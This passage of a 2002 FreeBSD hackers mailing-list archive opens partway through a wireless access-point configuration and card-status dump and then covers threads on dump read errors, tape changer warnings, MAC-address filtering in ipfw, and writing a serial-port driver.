i80211 dtim 1=20 configuration radio i80211 extend off=20 configuration radio i80211 bcst_ssid off=20 configuration radio i80211 rts 2312=20 configuration radio i80211 Privacy encryption off=20 configuration radio i80211 Privacy client open=20 configuration radio i80211 Encapsulation encap 802.1H=20 configuration radio i80211 Encapsulation remove all configuration radio linktests destination any=20 configuration radio linktests size 512=20 configuration radio linktests count 100=20 configuration radio linktests autotest once=20 configuration radio extended bridge_mode access_point=20 configuration radio extended time_retry 8=20 configuration radio extended count_retry 0=20 configuration radio extended roaming directed=20 configuration radio extended Balance off=20 configuration radio extended diversity off=20 configuration radio extended modulation cck=20 configuration radio extended power 1=20 configuration radio extended fragment 2048=20 configuration ethernet active on=20 configuration ethernet size 1518=20 configuration ethernet port auto=20 configuration ident inaddr 192.168.001.002=20 configuration ident inmask 255.255.255.000=20 configuration ident routing delete all configuration ident routing net 000.000.000.000 192.168.001.001 = 000.000.000.000 configuration ident dns1 000.000.000.000=20 configuration ident dns2 000.000.000.000=20 configuration ident domain ""=20 configuration ident name "BR500E_000000"=20 configuration ident location ""=20 configuration ident contact ""=20 configuration ident bootp_DHCP off=20 configuration ident class "BR500E"=20 configuration console Remote on=20 configuration console telnet on=20 configuration console http on=20 configuration console delete all configuration console communities remote off=20 configuration console type teletype=20 configuration console port rate 9600=20 configuration console port bits 8=20 configuration console port parity none=20 configuration console port flow xon/xoff=20 configuration console linemode off=20 configuration stp active off=20 configuration stp priority 8000=20 configuration stp hello_time 2=20 configuration stp forward_delay 15=20 configuration stp msg_age_timeout 20=20 configuration stp port port on=20 configuration stp port priority 80=20 configuration stp port cost 100=20 configuration mobile-IP AgentType off=20 configuration mobile-IP remove all configuration mobile-IP setup lifetime 600=20 configuration mobile-IP setup ReplayProt timestamps=20 configuration mobile-IP setup broadcasts off=20 configuration mobile-IP setup RegRequired on=20 configuration mobile-IP setup HostRedirects off=20 configuration mobile-IP advert AdvertType multicast=20 configuration mobile-IP advert AdvertInterval 5=20 configuration mobile-IP advert PrefixLen off=20 configuration mobile-IP advert AdvertRtrs on=20 configuration time time_server 000.000.000.000=20 configuration time sntp_server 000.000.000.000=20 configuration time offset 0=20 configuration time dst off=20 statistics display_time 10=20 statistics ipAdr off=20 association maximum 1024=20 association autoreg on=20 association staletime 350=20 association niddisp numeric=20 filter multicast default forward=20 filter multicast remove all filter multicast radio_mcst everywhere=20 filter node ethdst forward=20 filter node raddst forward=20 filter node source off=20 filter node remove all filter protocols default off=20 filter protocols remove all filter direction both=20 logs printlevel all=20 logs loglevel all=20 logs ledlevel error/severe=20 logs statistics ra rpa any logs statistics re rdf any logs statistics re rce any logs statistics re trr any logs statistics re tmr any logs statistics re ter any logs statistics re tho any logs bnodelog on=20 logs snmp trapdest none=20 logs snmp trapcomm "public"=20 logs snmp loglevel off=20 logs snmp authtrap off=20 logs syslog 192.168.001.001=20 logs syslevel all=20 logs facility 23=20 logs rcvsyslog on=20 diagnostics network escape "^X^Y^Z"=20 diagnostics load ftp dest 000.000.000.000=20 diagnostics load ftp username ""=20 diagnostics load ftp filename ""=20 diagnostics load distribute type firmware=20 diagnostics load distribute control newer=20 diagnostics load distribute remove all configuration ident bootp_DHCP off=20 configuration ident class "BR500E"=20 > 0:08:50 E Radio Error : 3 CRC errors ------=_NextPart_000_0017_01C21F8A.604E0930 Content-Type: text/plain; name="aironet.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="aironet.txt" xl0: flags=3D8843 mtu 1500=0A= inet 1.1.2.2 netmask 0xffffff00 broadcast 1.1.2.255=0A= ether 00:60:08:30:21:c5 =0A= media: Ethernet autoselect (100baseTX )=0A= status: active=0A= an0: flags=3D8847 mtu 1500=0A= inet 1.1.5.1 netmask 0xffffff00 broadcast 1.1.5.255=0A= ether 00:40:96:28:8e:21 =0A= media: IEEE 802.11 Wireless Ethernet autoselect (DS/11Mbps)=0A= status: no carrier=0A= ssid test=0A= stationname dimasic=0A= channel 1 authmode OPEN powersavemode OFF powersavesleep 200=0A= wepmode OFF weptxkey 2=0A= wepkey 1:64-bit wepkey 2:64-bit=0A= lo0: flags=3D8049 mtu 16384=0A= inet 127.0.0.1 netmask 0xff000000 =0A= ppp0: flags=3D8010 mtu 1500=0A= faith0: flags=3D8002 mtu 1500=0A= Operating mode: [ infrastructure ]=0A= Receive mode: [ broadcast/multicast/unicast ]=0A= Fragment threshold: [ 2312 ]=0A= RTS threshold: [ 2312 ]=0A= MAC address: [ 00:40:96:28:8e:21 ]=0A= Supported rates: [ 1.0Mbps 2.0Mbps 5.5Mbps 11.0Mbps ]=0A= Short retry limit: [ 16 ]=0A= Long retry limit: [ 16 ]=0A= TX MSDU lifetime: [ 5000 ]=0A= RX MSDU lifetime: [ 10000 ]=0A= Stationary: [ Off ]=0A= Ordering: [ Off ]=0A= Device type: [ PC4800 ]=0A= Scanning mode: [ active ]=0A= Probe delay: [ 3 ]=0A= Probe energy timeout: [ 3 ]=0A= Probe response timeout: [ 20 ]=0A= Beacon listen timeout: [ 40 ]=0A= IBSS join network timeout: [ 10000 ]=0A= Authentication timeout: [ 2000 ]=0A= WEP enabled: [ no ]=0A= Authentication type: [ open ]=0A= Association timeout: [ 5000 ]=0A= Specified AP association timeout: [ 10000 ]=0A= Offline scan interval: [ 12820 ]=0A= Offline scan duration: [ 0 ]=0A= Link loss delay: [ 0 ]=0A= Max beacon loss time: [ 500 ]=0A= Refresh interval: [ 10000 ]=0A= Power save mode: [ none ]=0A= Sleep through DTIMs: [ Off ]=0A= Power save listen interval: [ 200 ]=0A= Power save fast listen interval: [ 100 ]=0A= Power save listen decay: [ 2 ]=0A= Power save fast listen decay: [ 200 ]=0A= AP/ad-hoc Beacon period: [ 100 ]=0A= AP/ad-hoc ATIM duration: [ 0 ]=0A= AP/ad-hoc current channel: [ 1 ]=0A= AP/ad-hoc DTIM period: [ 1 ]=0A= Radio type: [ 802.11 DS ]=0A= RX Diversity: [ antenna 1 only ]=0A= TX Diversity: [ antenna 1 only ]=0A= Transmit power level: [ 100 ]=0A= RSS threshold: [ 0 ]=0A= Node name: [ dimasic ]=0A= ARL threshold: [ 65535 ]=0A= ARL decay: [ 65535 ]=0A= ARL delay: [ 65535 ]=0A= =0A= WEP Key status:=0A= Key 0 is set 40 bits=0A= Key 1 is set 40 bits=0A= The active transmit key is 1=0A= Access point 1: [ 00:00:00:00:00:00 ]=0A= Access point 2: [ 00:00:00:00:00:00 ]=0A= Access point 3: [ 00:00:00:00:00:00 ]=0A= Access point 4: [ 00:41:06:28:a0:2a ]=0A= OUI: [ 00:40:96 ]=0A= Product number: [ 7 ]=0A= Manufacturer name: [ Aironet Wireless Communications ]=0A= Produce name: [ PC4800 ]=0A= Firmware version: [ 4 ]=0A= OEM MAC address: [ 00:40:96:28:8e:21 ]=0A= Aironet MAC address: [ 00:40:96:28:8e:21 ]=0A= Radio type: [ 802.11 DS ]=0A= Regulatory domain: [ 0 ]=0A= Assigned CallID: [ ff:ff:ff:ff:ff:ff ]=0A= Supported speeds: [ 1.0Mbps 2.0Mbps 5.5Mbps 11.0Mbps ]=0A= RX Diversity: [ antenna 1 and 2 ]=0A= TX Diversity: [ antenna 1 and 2 ]=0A= Supported power levels: [ 1 5 20 50 100 0 0 0 ]=0A= Hardware revision: [ 00:52 ]=0A= Software revision: [ 04:25 ]=0A= Software subrevision: [ 00:1e ]=0A= Interface revision: [ 00:00 ]=0A= Bootblock revision: [ 01:27 ]=0A= MAC address: [ 00:40:96:28:8e:21 ]=0A= Operating mode: [ configured MAC ON RX ON ]=0A= Error code: [ 00 ]=0A= Signal quality: [ 8f ]=0A= Signal strength: [ 90% ]=0A= Current TX rate: [ 11 ]=0A= Current SSID: [ test ]=0A= Current AP name: [ BR500E_000000 BE ]=0A= Current BSSID: [ ff:ff:ff:ff:ff:ff ]=0A= Beacon period: [ 100 ]=0A= DTIM period: [ 1 ]=0A= ATIM duration: [ 0 ]=0A= HOP period: [ 200 ]=0A= Channel set: [ 0 ]=0A= Current channel: [ 1 ]=0A= Hops to backbone: [ 1 ]=0A= Total AP load: [ 0 ]=0A= Our generated load: [ 0 ]=0A= Accumulated ARL: [ 0 ]=0A= RX overruns: [ 882 ]=0A= RX PLCP CSUM errors: [ 46 ]=0A= RX PLCP format errors: [ 0 ]=0A= RX PLCP length errors: [ 0 ]=0A= RX MAC CRC errors: [ 6 ]=0A= RX MAC CRC OK: [ 139 ]=0A= RX WEP errors: [ 0 ]=0A= RX WEP OK: [ 0 ]=0A= Long retries: [ 0 ]=0A= Short retries: [ 0 ]=0A= Retries exhausted: [ 0 ]=0A= Bad ACK: [ 0 ]=0A= Bad CTS: [ 0 ]=0A= RX good ACKs: [ 6 ]=0A= RX good CTSs: [ 0 ]=0A= TX good ACKs: [ 31 ]=0A= TX good RTSs: [ 0 ]=0A= TX good CTSs: [ 0 ]=0A= LMAC multicasts transmitted: [ 0 ]=0A= LMAC broadcasts transmitted: [ 3819 ]=0A= LMAC unicast frags transmitted: [ 6 ]=0A= LMAC unicasts transmitted: [ 6 ]=0A= Beacons transmitted: [ 0 ]=0A= Beacons received: [ 95 ]=0A= Single transmit collisions: [ 0 ]=0A= Multiple transmit collisions: [ 0 ]=0A= Transmits without deferrals: [ 0 ]=0A= Transmits deferred due to protocol: [ 0 ]=0A= Transmits deferred due to energy detect: [ 1 ]=0A= RX duplicate frames/frags: [ 0 ]=0A= RX partial frames: [ 0 ]=0A= TX max lifetime exceeded: [ 0 ]=0A= RX max lifetime exceeded: [ 0 ]=0A= Sync lost due to too many missed beacons: [ 0 ]=0A= Sync lost due to ARL exceeded: [ 0 ]=0A= Sync lost due to deauthentication: [ 0 ]=0A= Sync lost due to disassociation: [ 0 ]=0A= Sync lost due to excess change in TSF timing: [ 0 ]=0A= Host transmitted multicasts: [ 0 ]=0A= Host transmitted broadcasts: [ 0 ]=0A= Host transmitted unicasts: [ 0 ]=0A= Host transmission failures: [ 0 ]=0A= Host received multicasts: [ 0 ]=0A= Host received broadcasts: [ 0 ]=0A= Host received unicasts: [ 0 ]=0A= Host receive discards: [ 0 ]=0A= HMAC transmitted multicasts: [ 0 ]=0A= HMAC transmitted broadcasts: [ 3855 ]=0A= HMAC transmitted unicasts: [ 6 ]=0A= HMAC transmissions failed: [ 36 ]=0A= HMAC received multicasts: [ 0 ]=0A= HMAC received broadcasts: [ 102 ]=0A= HMAC received unicasts: [ 26 ]=0A= HMAC receive discards: [ 5 ]=0A= HMAC transmits accepted: [ 128 ]=0A= SSID mismatches: [ 0 ]=0A= Access point mismatches: [ 0 ]=0A= Speed mismatches: [ 0 ]=0A= Authentication rejects: [ 0 ]=0A= Authentication timeouts: [ 5 ]=0A= Association rejects: [ 0 ]=0A= Association timeouts: [ 0 ]=0A= Management frames received: [ 0 ]=0A= Management frames transmitted: [ 0 ]=0A= Refresh frames received: [ 0 ]=0A= Refresh frames transmitted: [ 0 ]=0A= Poll frames received: [ 0 ]=0A= Poll frames transmitted: [ 0 ]=0A= Host requested sync losses: [ 0 ]=0A= Host transmitted bytes: [ 0 ]=0A= Host received bytes: [ 0 ]=0A= Uptime in microseconds: [ 1576610196 ]=0A= Uptime in seconds: [ 1577 ]=0A= Sync lost due to better AP: [ 0 ]=0A= SSID 1: [ test ]=0A= SSID 2: [ ]=0A= SSID 3: [ ]=0A= ------=_NextPart_000_0017_01C21F8A.604E0930-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 4:10:31 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A06A437B400 for ; Sat, 29 Jun 2002 04:10:24 -0700 (PDT) Received: from mobile.webweaving.org (fia224-72.dsl.hccnet.nl [62.251.72.224]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3595043E09 for ; Sat, 29 Jun 2002 04:10:23 -0700 (PDT) (envelope-from dirkx@covalent.net) Received: from localhost.leiden.webweaving.org (localhost.leiden.webweaving.org [127.0.0.1] (may be forged)) by mobile.webweaving.org (8.12.2/8.10.2) with ESMTP id g5TB9QKI009949 for ; Sat, 29 Jun 2002 13:09:26 +0200 (CEST) X-Curiosity: Killed the Cat X-Huis-aan-Huis-deur-sticker: nee-nee X-Spam: no X-Passed: MX on Gandalf.WebWeaving.org Sat, 29 Jun 2002 13:09:26 +0200 (CEST) and masked X-No-Spam: Neither the receipients nor the senders email address(s) are to be used for Unsolicited (Commercial) Email without the explicit written consent of either party; as a per-message fee is incurred for inbound and outbound traffic to the originator. Date: Sat, 29 Jun 2002 13:09:26 +0200 (CEST) From: dirkx@covalent.net X-X-Sender: dirkx@mobile.webweaving.org To: freebsd-hackers@freebsd.org Subject: FSCK/current and dump errors Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Not sure if I should blame current - but see the errors below. I've tried an fsck and an fsck -f from single user mode on each of the affected disks (7 disk, mix of ide/scsi give this). FSCK comes through clean. Prior to running -CURRENT the disks where attached to a 2.0.8 machine; and the dump prior to the upgrade is good (and restore can fully read it). But right now a real dump to tape; or a dump to /dev/null give me the errors below. -> Is there a more throurough consistency check I could do ? I've attached one of the SCSU disks to a 4.5 RELEASE machine; and fsck sees no errors; and there dump gives me similar errors. Any ideas, or should I just ignore this as -CURRENT madness :-) Thanks, Dw sendbackup: info BACKUP=/sbin/dump sendbackup: info RECOVER_CMD=/usr/bin/gzip -dc |/sbin/restore -f... - sendbackup: info COMPRESS_SUFFIX=.gz sendbackup: info end | DUMP: Date of this level 0 dump: Sat Jun 29 05:10:43 2002 | DUMP: Date of last level 0 dump: the epoch | DUMP: Dumping /dev/ad2s1f (/local2) to standard output | DUMP: mapping (Pass I) [regular files] | DUMP: mapping (Pass II) [directories] | DUMP: estimated 1874624 tape blocks. | DUMP: dumping (Pass III) [directories] | DUMP: dumping (Pass IV) [regular files] ? DUMP: read error from /dev/ad2s1f: Invalid argument: [block -645840818]: count=-1 ? DUMP: read error from /dev/ad2s1f: Invalid argument: [sector -645840818]: count=-1 ? DUMP: read error from /dev/ad2s1f: Invalid argument: [sector -645840817]: count=-1 ? DUMP: read error from /dev/ad2s1f: Invalid argument: [sector -645840816]: count=-1 ...cut 150 lines... ? DUMP: read error from /dev/ad2s1f: Invalid argument: [sector -645840749]: count=-1 ? DUMP: read error from /dev/ad2s1f: Invalid argument: [sector -645840748]: count=-1 ? DUMP: read error from /dev/ad2s1f: Invalid argument: [sector -645840747]: count=-1 ? DUMP: read error from /dev/ad2s1f: Invalid argument: [block -645840746]: count=-1 ? DUMP: read error from /dev/ad2s1f: Invalid argument: [sector -645840746]: count=-1 ...cut 1500 lines... ? DUMP: read error from /dev/ad2s1f: Invalid argument: [sector -645840147]: count=-1 ? DUMP: More than 32 block read errors from 135025408 ? DUMP: This is an unrecoverable error. ? DUMP: fopen on /dev/tty fails: Device not configured | DUMP: The ENTIRE dump is aborted. sendbackup: error [/sbin/dump returned 3] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 8:27:28 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9DCAD37B401 for ; Sat, 29 Jun 2002 08:27:25 -0700 (PDT) Received: from webweaving.org (adsl-66-124-87-42.dsl.snfc21.pacbell.net [66.124.87.42]) by mx1.FreeBSD.org (Postfix) with ESMTP id 83DA843E09 for ; Sat, 29 Jun 2002 08:27:24 -0700 (PDT) (envelope-from dirkx@webweaving.org) Received: from dirkx (helo=localhost) by webweaving.org with local-esmtp (Exim 3.14 #1) id 17OKuY-00007C-00; Sat, 29 Jun 2002 16:17:22 +0000 Date: Sat, 29 Jun 2002 16:17:22 +0000 (GMT) From: Dirk-Willem van Gulik X-Sender: dirkx@router.ispra.webweaving.org To: "Kenneth D. Merry" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: How noisy should ch(4) be ? In-Reply-To: <20020628132107.A4107@panzer.kdm.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > - run 'chio ielem' before you do anything. This may make the changer look > at what it has, and perhaps figure out that it doesn't really have a > source addresses for various elements. > > - try moving every tape in the changer to some destination and back. The > fastest thing to do, if the changer supports it, would probably be > moving the tapes to the picker and then back to a slot. Did not work :-) > - comment out the warning in copy_element_status(). Fixed the problem perfectly :-) > - see if there is updated firmware for the changer. There is - but it seems to need special third party SCSI software which only works on windows. I've got no desire to disconnect the unit for now. Dw. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 10: 2:53 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CABFD37B400 for ; Sat, 29 Jun 2002 10:02:51 -0700 (PDT) Received: from mail.npubs.com (npubs.com [207.111.208.224]) by mx1.FreeBSD.org (Postfix) with ESMTP id 65DDB43E13 for ; Sat, 29 Jun 2002 10:02:51 -0700 (PDT) (envelope-from nielsen@memberwebs.com) Received: 8.12.2-(Neptune) From: "Nielsen" To: "Terry Lambert" , "Ken Ebling" Cc: References: <000801c21f1c$029cefe0$0201a8c0@Ken> <3D1D4EB3.9410011@mindspring.com> Subject: Re: ipfw/dummynet suggestion MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Message-Id: <20020629170251.65DDB43E13@mx1.FreeBSD.org> Date: Sat, 29 Jun 2002 10:02:51 -0700 (PDT) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Usually remote MAC address. It's used for restricting users on a subnet. I have an ugly hack that does this at present and am looking forward to the MAC address support. Yes, I know users can conceivably change their MAC addresses but most would never know how. They change their IP addresses to get around security restrictions all the time. Nate > Ken Ebling wrote: > > > > Part 1.1 Type: Plain Text (text/plain) > > Encoding: quoted-printable > > | I know this isn't performed at the ip level, but I think a useful = > | addition to ipfw would be to allow filtering by mac addresses. I think = > | a lot of people would find it useful, and a lot of linux users I try and = > | ``convert'' to FreeBSD say they require this feature too. > > Local or remote MAC addresses? > > The remote MAC address is always going to be a peer on the local > wire; usually, this is your router. > > The local MAC address is a 1:N correspondance with IP addresses, > so you can always do whatever you were planning on doing there > using the local IP addresses that are associated with the MAC > in question. > > What is it you are trying to do that is apparently not very > obvious? > > -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 11: 2:48 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BBA9E37B400 for ; Sat, 29 Jun 2002 11:02:41 -0700 (PDT) Received: from iguana.icir.org (iguana.icir.org [192.150.187.36]) by mx1.FreeBSD.org (Postfix) with ESMTP id 47AB543E09 for ; Sat, 29 Jun 2002 11:02:41 -0700 (PDT) (envelope-from rizzo@iguana.icir.org) Received: (from rizzo@localhost) by iguana.icir.org (8.11.6/8.11.3) id g5TI2bX73842; Sat, 29 Jun 2002 11:02:37 -0700 (PDT) (envelope-from rizzo) Date: Sat, 29 Jun 2002 11:02:37 -0700 From: Luigi Rizzo To: Nielsen Cc: Terry Lambert , Ken Ebling , freebsd-hackers@FreeBSD.ORG Subject: Re: ipfw/dummynet suggestion Message-ID: <20020629110237.A73787@iguana.icir.org> References: <000801c21f1c$029cefe0$0201a8c0@Ken> <3D1D4EB3.9410011@mindspring.com> <20020629170251.65DDB43E13@mx1.FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020629170251.65DDB43E13@mx1.FreeBSD.org>; from nielsen@memberwebs.com on Sat, Jun 29, 2002 at 10:02:51AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Jun 29, 2002 at 10:02:51AM -0700, Nielsen wrote: > Usually remote MAC address. It's used for restricting users on a subnet. I > have an ugly hack that does this at present and am looking forward to the > MAC address support. Yes, I know users can conceivably change their MAC THERE IS MAC SUPPORT IN THE NEW IPFW!!! > addresses but most would never know how. They change their IP addresses to several viruses do change the MAC address. The only real security is to have one user per port and filter the ports. Next step (but not as safe) is to wire down the arp table and only accept things that are in there (will be easy to implement in the new ipfw) cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 11:17:44 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 88B6C37B401 for ; Sat, 29 Jun 2002 11:17:41 -0700 (PDT) Received: from darkstar.wavenet.com.br (darkstar.wavenet.com.br [200.223.81.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 789C943E0A for ; Sat, 29 Jun 2002 11:17:39 -0700 (PDT) (envelope-from jcrr@ieee.org) Received: (from root@localhost) by darkstar.wavenet.com.br (8.12.5/8.12.2) id g5TIK2TO048917; Sat, 29 Jun 2002 15:20:02 -0300 (BRT) Received: from pchome (wv-acc2-ssa-C8B06E1E.brdterra.com.br [200.176.110.30]) by darkstar.wavenet.com.br (8.12.5/8.12.2av) with SMTP id g5TIJsNI048907; Sat, 29 Jun 2002 15:19:55 -0300 (BRT) Message-ID: <001f01c21f99$3c363cc0$1e6eb0c8@pchome> From: "Joao Carlos" To: "Luigi Rizzo" , "Nielsen" Cc: "Terry Lambert" , "Ken Ebling" , References: <000801c21f1c$029cefe0$0201a8c0@Ken> <3D1D4EB3.9410011@mindspring.com> <20020629170251.65DDB43E13@mx1.FreeBSD.org> <20020629110237.A73787@iguana.icir.org> Subject: Re: ipfw/dummynet suggestion Date: Sat, 29 Jun 2002 15:17:24 -0300 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > several viruses do change the MAC address. The only real > security is to have one user per port and filter the ports. > Next step (but not as safe) is to wire down the arp table and only accept > things that are in there (will be easy to implement in the > new ipfw) I think it would be easier to deny all mac address in the ipfw rules except by those that you know, right? --- Joao Carlos jcrr@ieee.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 11:20:31 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F063237B40A for ; Sat, 29 Jun 2002 11:20:27 -0700 (PDT) Received: from iguana.icir.org (iguana.icir.org [192.150.187.36]) by mx1.FreeBSD.org (Postfix) with ESMTP id A05A943E06 for ; Sat, 29 Jun 2002 11:20:27 -0700 (PDT) (envelope-from rizzo@iguana.icir.org) Received: (from rizzo@localhost) by iguana.icir.org (8.11.6/8.11.3) id g5TIKNp74030; Sat, 29 Jun 2002 11:20:23 -0700 (PDT) (envelope-from rizzo) Date: Sat, 29 Jun 2002 11:20:23 -0700 From: Luigi Rizzo To: Joao Carlos Cc: Nielsen , Terry Lambert , Ken Ebling , freebsd-hackers@freebsd.org Subject: Re: ipfw/dummynet suggestion Message-ID: <20020629112023.C73787@iguana.icir.org> References: <000801c21f1c$029cefe0$0201a8c0@Ken> <3D1D4EB3.9410011@mindspring.com> <20020629170251.65DDB43E13@mx1.FreeBSD.org> <20020629110237.A73787@iguana.icir.org> <001f01c21f99$3c363cc0$1e6eb0c8@pchome> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <001f01c21f99$3c363cc0$1e6eb0c8@pchome>; from jcrr@ieee.org on Sat, Jun 29, 2002 at 03:17:24PM -0300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Jun 29, 2002 at 03:17:24PM -0300, Joao Carlos wrote: > > several viruses do change the MAC address. The only real > > security is to have one user per port and filter the ports. > > Next step (but not as safe) is to wire down the arp table and only accept > > things that are in there (will be easy to implement in the > > new ipfw) > > I think it would be easier to deny all mac address in the ipfw rules except > by those that you know, right? which must be recorded somewhere, and static entries in the arp table are a nice place to look at. cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 12: 4: 0 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BAE9637B400 for ; Sat, 29 Jun 2002 12:03:56 -0700 (PDT) Received: from ftp.translate.ru (ftp.translate.ru [195.131.4.140]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8923743E2F for ; Sat, 29 Jun 2002 12:03:55 -0700 (PDT) (envelope-from lev@serebryakov.spb.ru) Received: from lev (ip51-185.dialup.wplus.net [195.131.51.185]) (authenticated) by ftp.translate.ru (8.11.6/8.11.2) with ESMTP id g5TJ6JW87431 for ; Sat, 29 Jun 2002 23:06:19 +0400 (MSD) (envelope-from lev@serebryakov.spb.ru) Date: Sat, 29 Jun 2002 23:05:14 +0400 From: Lev Serebryakov X-Mailer: The Bat! (v1.53d) Reply-To: Lev Serebryakov Organization: Home X-Priority: 3 (Normal) Message-ID: <178176166781.20020629230514@serebryakov.spb.ru> To: freebsd-hackers@FreeBSD.ORG Subject: Driver for device on serial (COM) port MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, freebsd-hackers! How are you? I want to write driver for some device, which is attached to standard serial (COM, RS-232) port. I want to make this driver full-featured -- with device node in /dev, ioctl()s and other. But I don't want to re-implement all this serial tty stuff, that is implemented in `sys/isa/sio.c' In case of LPT we have `ppbus'. What should I do in case of COM port? I want to `take' com port (any calls to corresponding /dev/ttydX, /dev/cuaaX and other should failed after this), monitor com port state (know about new bytes, etc) and after that detach from com port (when device is shutdowned and switched off), so com port could be used for other deviced (i.e. modem) without rebooting. It looks like userland program, but I really NEED full-featured driver, which is controlled via device node... Lev Serebryakov /-----------------------------------------------\ | FIDONet: 2:5030/661.0 | | E-Mail: lev@serebryakov.spb.ru | | Page: http://lev.serebryakov.spb.ru/ | | ICQ UIN: 3670018 | | Phone: You know, if you have world nodelist | \===============================================/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 12:29:25 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7F80D37B400 for ; Sat, 29 Jun 2002 12:29:20 -0700 (PDT) Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0327543E06 for ; Sat, 29 Jun 2002 12:29:20 -0700 (PDT) (envelope-from brdavis@odin.ac.hmc.edu) Received: from odin.ac.hmc.edu (IDENT:brdavis@localhost.localdomain [127.0.0.1]) by odin.ac.hmc.edu (8.12.3/8.12.3) with ESMTP id g5TJTHri016504; Sat, 29 Jun 2002 12:29:17 -0700 Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.12.3/8.12.3/Submit) id g5TJTHxj016503; Sat, 29 Jun 2002 12:29:17 -0700 Date: Sat, 29 Jun 2002 12:29:17 -0700 From: Brooks Davis To: dirkx@covalent.net Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: FSCK/current and dump errors Message-ID: <20020629122917.A13448@Odin.AC.HMC.Edu> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="mP3DRpeJDSE+ciuQ" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i 